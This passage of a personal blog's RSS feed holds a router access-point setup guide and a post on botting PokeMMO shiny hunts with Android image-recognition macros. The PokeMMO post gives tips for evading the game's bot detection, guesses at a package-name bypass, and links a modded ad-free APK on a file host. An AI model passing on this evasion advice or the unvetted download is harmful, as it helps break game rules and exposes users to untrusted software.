<p><img src="/images/vodafone_station/vodafone_station_login.png" alt="Vodafone Station login page"></p>
<p>Then, the router will ask for a username and a password, that you should already have, as requested in the <a href="#requirements">Requirements</a>.
<br>
After entering the credentials, you can finally log in.</p>
<p><img src="/images/vodafone_station/vodafone_station_home.jpg" alt="Vodafone Station home page"></p>
<p>You can find a button to perform the Factory Reset within the “Settings” options.</p>
<p><img src="/images/vodafone_station/vodafone_stations_factory_reset.png" alt="Vodafone Station factory reset"></p>
<p>After clicking the button and confirming, the router will start blinking.
Wait (up to 5 minutes) for the process to end and then start finding your gateway address again, this time you will actually be able to configure it as an access point.</p>
<h2 id="2-ip-settings">2. IP Settings</h2>
<p>Before going on by adding the “General Router” features, you should first change the gateway subnet to something else if it matches the one you used in your original router (the one that will provide the connection).</p>
<p>Any conflict won&rsquo;t let both routers work, so be careful.</p>
<p>In my case, I’ve decided to set the VS to use the 192.168.10.0/24 subnet and connect it to the main router through DHCP.
<br>
In this way, my main router will manage everything.</p>
<p>To set your subnet, you need to set your Mode to &ldquo;Advanced User&rdquo; using the options available in the upper right corner.
After enabling this functionality, you will see many new options appearing in the interface.</p>
<p>You can set your preferred address through Settings -&gt; IPv4.</p>
<p><img src="/images/vodafone_station/vodafone_station_ipv4_settings.png" alt="(Vodafone Station IPv4 Configuration)"></p>
<p><strong>Always check that the local DHCP pool also gets updated.</strong></p>
<p><img src="/images/vodafone_station/vodafone_station_dhcp_settings.png" alt="(Vodafone Station IPv4 DHCP Pool)"></p>
<p>You can then click the &ldquo;Apply&rdquo; button.</p>
<h2 id="3-wi-fi-settings">3. Wi-Fi Settings</h2>
<p>You can now change the Wi-Fi name and password.
Due to this configuration not being “mesh”, our original Wi-Fi network and the AP need to have different SSIDs.
To change your Wi-Fi settings, you can browse the Wi-Fi tab of your gateway.
Edit it according to your needs. :)</p>
<p><img src="/images/vodafone_station/vodafone-station-wifi-settings.png" alt="(Vodafone Station Wi-Fi Settings)"></p>
<h2 id="4-generic-router-mode">4. Generic Router mode</h2>
<p>After the setup of your custom subnet and Wi-Fi settings, you can now apply the most important option.</p>
<p>The VS itself provides a way to use it as a “generic router” by supplying an internet connection through the WAN port.</p>
<p>In order to edit this option, you need, to be in “Advanced User” mode, as we did in <a href="#2-ip-settings">IP Settings</a>.</p>
<p>Once you enabled it, you can access the “Generic Router” settings through Settings → Generic Router.</p>
<p><img src="/images/vodafone_station/vodafone_station_generic_router_settings.png" alt="(Vodafone Station Generic Router Settings)"></p>
<p>Here, configure the WAN port depending on whether the original router is ADSL or fiber.</p>
<p>In my case, I added a “WAN FIBER” option and gave it the following options:</p>
<ol>
<li>Used for: Data</li>
<li>Connection Type: DHCP</li>
</ol>
<p><img src="/images/vodafone_station/vodafone_station_generic_router_WAN.png" alt="(Vodafone Station WAN Port Settings)"></p>
<p>After clicking the Save button, everything is done.</p>
<p>You will be able to browse the internet without any problems just by connecting the LAN cable, coming from our original router, to the WAN port of the VS.</p>
<p><strong>Enjoy your new access point!</strong></p>
<h2 id="contacts">Contacts</h2>
<p>For questions or suggestions, contact:<a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Automating PokeMMO For Fun &amp; Profit</title>
      <link>https://blog.balzabu.io/posts/automating-pokemmo/</link>
      <pubDate>Thu, 05 Oct 2023 15:50:11 +0200</pubDate>
      <guid>https://blog.balzabu.io/posts/automating-pokemmo/</guid>
      <description>&lt;hr&gt;
&lt;blockquote&gt;
&lt;p&gt;Updated on 2023-12-07&lt;/p&gt;
&lt;p&gt;A few weeks after this article has been posted, as a strange coincidence, there has been an huge update which changed how the detection works on Android devices.&lt;/p&gt;
&lt;p&gt;It might be bypassable using the same package name as apps that use Accessibility Service by default on some devices, however this should be investigated.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As every nerd I know, during my free time, I love playing videogames and
I&amp;rsquo;ve recently decided to play Pokèmon again, focusing on the old generations. It feels like a real throwback to my childhood!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>Updated on 2023-12-07</p>
<p>A few weeks after this article has been posted, as a strange coincidence, there has been an huge update which changed how the detection works on Android devices.</p>
<p>It might be bypassable using the same package name as apps that use Accessibility Service by default on some devices, however this should be investigated.</p>
</blockquote>
<p>As every nerd I know, during my free time, I love playing videogames and
I&rsquo;ve recently decided to play Pokèmon again, focusing on the old generations. It feels like a real throwback to my childhood!</p>
<p>During the setup of the emulators, I&rsquo;ve discovered the existence of PokeMMO.</p>
<h3 id="whats-pokemmo">What&rsquo;s PokeMMO?</h3>
<p>PokeMMO is a cross-platform<sup>[1]</sup>
 <a href="https://en.wikipedia.org/wiki/Massively_multiplayer_online_game"><em>MMO</em></a>, created in August 2012, where it&rsquo;s possible to play most of the Pokèmon games (Red Fire, Emerald, Platinum, Black/White, HG/SS) with thousands of players connected at the same time.
It&rsquo;s possible to trade items and Pokèmon, challenge other players or even sell in-game items through a system created by the developers called <em>GTL</em> ( <a href="https://forums.pokemmo.com/index.php?/topic/59805-pokemmo-gtl-guide-old-trade-chat-guide-trading-in-game/"><em>Global Trade Link</em></a> ); For all intents and purposes, it&rsquo;s an international market based on the In-game currency, the PokeYEN, where all the players can sell or buy everything.</p>
<p>Since it makes use of the original Pokèmon ROMs, the storyline and the NPC interactions are not modified.
The story is the same as the original game, it only implements specific differences such as:</p>
<ul>
   <li>Change of the spawn location of wild Pokèmon</li>
   <li>Legendary Pokèmon can't be caught or kept for long time<sup>[2]</sup>
</li>
   <li>The battles against the NPCs are way harder</li>
</ul>
<p> </p>
<img src="../../images/pokemmo/wow-kid.webp" title="wow" alt="wow">
<p>*<sup>[1]</sup>
 The game is currently supported on Windows, Android, iOS, Mac and Linux.</p>
<p>*<sup>[2]</sup>
 Currently the only legendary Pokèmon that can be caught and kept permanently in the game are: Suicine, Raikou ed Entei.</p>
<h3 id="how-does-it-work">How does it work?</h3>
<p>As already stated, at the beginning the game does not show any substantial difference except for the dialogs speed which is increased to allow a smoother experience.
Once the 4<sup>th</sup> gym has been defeated, it will be possible to use the GTL trading system mentioned in the previous section.</p>
<p>Arrived at this point, it immediately becomes clear that the price of some items listed in the GTL, not only requires to set up a strong team that is able to compete in the PvP aspect of the game but is also really high and requires more and more PokeYENs.</p>
<p>There are different ways to &ldquo;farm&rdquo; the PokeYENs, but all of them are inefficient if we compare them to the selling price of the most useful items and Pokèmon, therefore it was immediately clear to me that I needed to find a method to gain large amounts of PokeYENs with the minimum effort necessary and, above all, for free.
Always keep in mind that the difficulties to face when creating the automation are as many as the interactions in the game.</p>
<p>My research lasted about 1 week, during which I read and studied the various documents and posts available on the official PokeMMO forum.</p>
<p>In the end I found the Holy Graal: <strong>Shiny Hunting</strong>!</p>
<h3 id="shiny">Shiny?!</h3>
<p>Shiny Pokèmon, introduced from the II generation of the game, are just different sprites of the same Pokèmon you would usually catch; generally they are recognized because when they join a battle they are &ldquo;wrapped&rdquo; in flash or stars.</p>
<p>It&rsquo;s good to remember that a normal Pokèmon can&rsquo;t become Shiny, just as a Shiny Pokèmon can never become a normal Pokèmon.</p>
<p>What makes them so special? They are <strong>hard</strong> to obtain.</p>
<p>The spawn rate of these entities is of 1/30000 for each encounter.
Obviously, previous encounters don&rsquo;t influence in any way the spawn rate: the chance that a Pokèmon Shiny appears will always be the same even if you already met the &ldquo;classic&rdquo; version thousands and thousands of times.
In this case players generally aim for the Hordes Pokèmon.</p>
<p>A horde is a group of three or five wild Pokémon battled simultaneously in PokeMMO.</p>
<p>While walking and surfing in locations with hordes, players sometimes encounter a horde instead of a single wild Pokémon. Pokè Balls cannot be used in horde battles until only one member of the horde remains.</p>
<p>It&rsquo;s common, during an &ldquo;hunt&rdquo;, to reach a really high number of encounters; On average, it&rsquo;s estimated that a Shiny occurs between 18000 and 30000 encounters.
Obviously, there is no way to determine the exact number of encounters required; many players have been looking for the Shiny version of their favorite Pokèmon even for <strong>YEARS</strong> , also due to the high cost of the specific methods required to find them such as <a href="https://forums.pokemmo.com/index.php?/topic/49440-the-breeding-guide/">Egg Breeding</a>.</p>
<p>There are items and ranks, such as <em>Shiny Charms</em> (Used in-game, lasts 1 hour) and <em>Donator Rank</em> (Rank obtained for 7/15/31 days after making a donation with IRL money), that are able to decrease the spawn rate and therefore granting more chances to get a Shiny.</p>
<p>Below the affected spawn rates:</p>
<table>
  <thead>
      <tr>
          <th><strong>ITEMS</strong></th>
          <th><strong>RATE</strong></th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>No Items</td>
          <td>1/30000</td>
      </tr>
      <tr>
          <td>Donator Status (+10%)</td>
          <td>1/27000</td>
      </tr>
      <tr>
          <td>Shiny Charm (+10%)</td>
          <td>1/27000</td>
      </tr>
      <tr>
          <td>Donator Status + Shiny Charm</td>
          <td>Approx. 1/24300</td>
      </tr>
  </tbody>
</table>
<p>All the items and ranks can be bought paying by IRL money or in-game PokeYENs.
It is obvious that the price in PokeYEN is high and, therefore, unattainable for novices unless you play for dozens and dozens of hours using other farming methods such as <a href="https://forums.pokemmo.com/index.php?/topic/145742-gym-guidebeginner-to-veteran-gym-rerun-teams-and-routes/">Gym Rebattles</a>, <a href="https://forums.pokemmo.com/index.php?/topic/106650-in-depth-money-making-guide-multiple-methods-2nd-edition/&amp;tab=comments#comment-1655417">PayDay</a> or the ever-green Flipping<sub>[1]</sub> of the Items/Pokèmon on the GTL.</p>
<p>*<sup>[1]</sup> &ldquo;Flipping&rdquo; means buying something to resell at an higher price in order to make a profit.</p>
<p>Many people spontaneously decide to &ldquo;hunt&rdquo; these particular Pokèmon because they are the most expensive and sought after in the game economy.</p>
<p>A single Shiny, depending on the IVs (In-game stats such as Attack Speed, Damage, etc.) can be sold from a base price of 800000 up to 1999999999 PokeYENs!
Catching a single Shiny can be game-breaking, because if sold it could yield a return of a large amount of money to the player, who can reinvest.</p>
<p>For additional information: <a href="https://forums.pokemmo.com/index.php?/topic/120706-pokemmo-shiny-hunting-guide-2023-encnespt/">PokeMMO Shiny Hunting Guide</a></p>
<h2 id="automating-the-hunting-process">Automating the hunting process</h2>
<p>Once I&rsquo;ve understood which is the most profitable (and hard) way to get PokeYENs, I&rsquo;ve decided to get my hands dirty.</p>
<p>It&rsquo;s easy to see that many players have tried to study, comprehend and find the best method to automate the process of hunting this kind of Pokèmon, or at least reduce the number of manual interactions required.
Most of the bot implementations I&rsquo;ve seen are aimed towards the Windows version of the game, automating the movements of the characters with specific macros.</p>
<p>What&rsquo;s a macro? A macro is simply a group of procedures that are executed on the system automatically when specific triggers are respected. It&rsquo;s able to interact within the game as a real player would, simulating the clicks of the keyboard and the movement of the mouse.</p>
<p>A macro can be easily written through tools such as <a href="https://www.autohotkey.com/">AutoHotkey</a> or some Python modules: <a href="https://pypi.org/project/PyAutoGUI/">pyautogui</a> and <a href="https://github.com/moses-palmer/pynput">pynput</a>.</p>
<p>However, as found by the user <a href="https://github.com/pnqphong95/">pnqphong95</a> on his GitHub repository <a href="https://github.com/pnqphong95/Pokemon-MMORPG-Bot">Pokemon-MMORPG-Bot</a>, the admins were able to suss him out before he could finish catching the Pokèmon for his team.</p>
<p><strong>His account was perma-banned</strong>.</p>
<p>The game&rsquo;s moderators take the bot issue very seriously, and will promptly reject any un-ban request, as seen from several posts made by other players on their official forum: <a href="/images/pokemmo/pokemmo-ban-notice.jpeg">Ban Notice</a>. Furthermore, while the game is running, there seems to be regular checks on the player to grant it&rsquo;s authenticity.</p>
<p>Actually, during my tests, I&rsquo;ve also noticed some anomalies that could be somehow related to the ban that the previously mentioned player received.
Without any kind of Reverse Engineering, I&rsquo;ve observed:</p>
<ul>
<li>Sudden movements of the player in other positions</li>
<li>Input-lag after a high amount of interactions</li>
</ul>
<p>It is clear that these hypothesis should be studied in depth, in order to determine their relevance in the detection mechanism of the game(if it exists). However, it seems safe to assume that the the Windows version has additional controls in place that effectively prevent/limit the use of these bots or report their anomalous behavior to the administrators, who manually verify everything.</p>
<p>The duration of the game session must also be considered because the game has implemented a mechanism of automatic disconnection from the server: the player will get disconnected if there doesn&rsquo;t seem to be any kind of action for more than 10/15 minutes.
Bots are usually connected for dozens of hours, if not days, so there&rsquo;s probably a system that allows them to &ldquo;list&rdquo; all the sessions and order them by their length, banning on-sight any session that has an unexplained length.</p>
<p>They&rsquo;ve also implemented a reCAPTCHA mechanism that gets suddenly displayed and it could be their latest verification method to establish if a player is &ldquo;botting&rdquo; or not.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/fQbaBGN6g5E?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>So what now? Shall we forget about this project and start to waste countless hours of our lives to catch one of these Pokèmon? Absolutely no!</p>
<p>As a wise man said:</p>
<blockquote>
<p>Success is not final; failure is not fatal: it is the courage to continue that counts</p>
<p>&ndash; <cite>Winston Churchill</cite></p>
</blockquote>
<h2 id="what-about-the-android-app">What about the Android APP?</h2>
<p>Excluding Windows, I had no other options except checking the Android port too.
Although it looks virtually identical, I believe that the detection systems work differently for this version.
Usually, when designing a cross-platform application in Java, the application itself is split into as many projects as the supported platforms, with the addition of a Java library for the core functionalities, where most of the work is generally done.
For instance, in order to make our application running on Windows and Android, we should have:</p>
<ol>
   <li> A project for Android-specific features</li>
   <li> A project for Windows-specific functionalities</li> 
   <li> A Java library shared between the first two projects, containing many of the essential features of the application.</li>
</ol>
<p>Therefore, it is easy to assume that in the Android project, although many aspects are the same, the detection mechanisms changes.</p>
<h2 id="implementation-of-macros-on-android">Implementation of macros on Android</h2>
<p>Well, after choosing our platform, it is time to start automating!</p>
<p>After some consideration, I have decided not to share my solution in a step-by-step way.
I am convinced that the massive use of these tools by the players would be able to inflate the economy of the GTL, thus destroying the very meaning of the game.</p>
<p>I will therefore just give general information, and also attach a demonstration video.</p>
<h4 id="image-recognition">Image Recognition</h4>
<p>The technology I&rsquo;ve used is Image Recognition, by which it is possible to search for specific images on the current screen of the device and then run macros.</p>
<p>By searching for items present only at specific times, it is possible to create automatic interactions that are not looped, thus generating many server-side errors, but only when certain conditions are met.</p>
</ol>
<p>An example of the elements I was looking for:</p>
<ol>
   <li> The error message "There's no PP left for this move"
      <ul> <li> Used as a trigger to teleport to a Pokèmon center and then return to the previous spot. </ul>  </li>
   </li>
   <li> The move "Sweet Scent" icon, inserted into the game hotbar.
      <ul> <li> Used as a trigger to start an encounter with a horde </ul>  </li>
   </li>
   <li> NAME+LEVEL+HEALTH BOXES of the single encounter Pokèmon 
      <ul> <li> Used as a trigger to escape from the fight with Pokèmon we do not seek.  </ul>  </li>
   </li>
   <li> NAME+LEVEL+HEALTH BOXES of the horde encounter Pokèmon
      <ul> <li> Used as a trigger to automatically escape from hordes that do not contain the Shiny Pokèmon we are looking for.   </ul>  </li> 
   </li> 
   <li> Player positions in the interested area
      <ul> <li> Used as triggers to take the character to specific places on the map, thus detecting wrong movements and fixing them. </ul> </li>
   </li>
</ol>
<p>An appropriate level of <em>tolerance</em> was found for each image used.
The <em>tolerance</em> allows the image to be recognized and identified in the current screen even if some of the pixels do not match.</p>
<p>In general, any self &ldquo;professional botter&rdquo; should always keep in mind that:</p>
<ul> 
   <li> Being slow is always better! The goal is to always appear as a legit user.</li>
   <li> It is possible for an error to occur in the player's movement, especially when the movement is implemented without any pathfinding or state determination algorithm.</li>
   <li> Manual interaction is likely to be necessary if errors occur; it is not always possible to foresee all of them. </li>
   <li> In most cases, creating bots for specific actions is better than creating generic bots.
   <li> Found a working solution? <b>Don't scale it too much!</b> </li>
</ul>
<br>
That said, I think it is also appropriate to show the results of my "hard" work.
<p>Below you will find a demo showing how the bot works; the screen was recorded in real time using <a href="https://github.com/Genymobile/scrcpy">scrcpy</a>.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/Ki-tdaAxVG0?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>In 3 days, after about 32,000 encounters, I managed to capture my Shiny Pokèmon!</p>
<p><img src="/images/pokemmo/shiny_gloom.jpeg" alt="Shiny Gloom"></p>
<p>My solution also includes the <strong>auto increment</strong> on the <strong>Encounters Counter</strong>; other players would literally <strong>kill</strong> just for this functionality!</p>
<p>The APP I used to keep track of the encounters is <a href="https://play.google.com/store/apps/details?id=com.SouthernPacificOceanFisher.FloatCounter&amp;hl=en&amp;gl=US">Floating Counter</a>.</p>
<p>I&rsquo;ve also created a modded version of it to suppress the ads, you can download the modified APK <a href="https://www.4shared.com/s/f9x4h8BF2ge">HERE</a> ( <strong>Password:</strong> <em><a href="https://www.balzabu.io">www.balzabu.io</a></em> ). Remember that no connection is required so you can turn off the &ldquo;Network&rdquo; permission if you want.</p>
<h3 id="extra-an-un-bannable-method">Extra: an un-bannable method?</h3>
<p>Keep in mind that if you decide to use any kind of automation to help your character in the game, it&rsquo;s possible that you get found and banned.
For this reason I&rsquo;ve decided to find other solutions that could simplify the hunting process without risking a ban.</p>
<h4 id="hotkeys">Hotkeys</h4>
<p>Hotkeys are a quick and easy way to associate certain actions in the game with specific keys or buttons.
They are the best method to automate common tasks, such as having to use &ldquo;Scent&rdquo; to initiate an encounter with a horde or run away from a battle if the Pokèmon encountered were not shiny.</p>
<p>On computers, you can use these Hotkeys, simply pressing the corresponding keys while on Android devices you need to click on the visible element in the UI.</p>
<p>Although it is possible to set the hotkeys and order them as you prefer, after an extended period of use I noticed how they are particularly inconvenient on devices with slightly larger screens.</p>
<p>The best solution to this problem is using an external support such as headphones with Volume Up/Down buttons or external controllers.
Using these devices we will have more physical buttons that we can press and then it will be possible to associate them with certain actions through APPs such as <a href="https://play.google.com/store/apps/details?id=com.irishin.buttonsremapper&amp;hl=it&amp;gl=US">Buttons Remapper</a>.</p>
<blockquote>
<p>Pro tip: you can also use an handheld console such as the <a href="https://www.goretroid.com/products/retroid-pocket-3-handheld-retro-gaming-system-1">Retroid Pocket 3+</a>.</p>
</blockquote>
<h2 id="the-end">The end?</h2>
<p>I have to admit that this experience was very addicting, the risk of being banned added that semblance of fear that, to be honest, was very challenging and fun.
After achieving my main goal, which consisted in catching a Pokèmon Shiny by simply looking at the device screen to make sure everything was working, I am enjoying all the other aspects of the game.</p>
<p><strong>I am not going to sell the Shiny to make a profit, I decided to keep it as a memory of this first blog post.</strong></p>
<p>I hope I&rsquo;ve tickled your curiosity and if you made it this far, you&rsquo;ll need to know that&hellip;We&rsquo;ll meet back here soon!
I have lots of things cooking that I think will be of your interest!</p>
<p>For questions or suggestions, contact: <a href="mailto:noc@balzabu.io">noc@balzabu.io</a>.</p>
<p>Bye \O/ !</p>
]]></content:encoded>
    </item>
    <item>
      <title>Hello!</title>
      <link>https://blog.balzabu.io/posts/hello/</link>
      <pubDate>Wed, 13 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://blog.balzabu.io/posts/hello/</guid>
      <description>&lt;p&gt;The first post is coming soon&amp;hellip; stay tuned :)&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The first post is coming soon&hellip; stay tuned :)</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
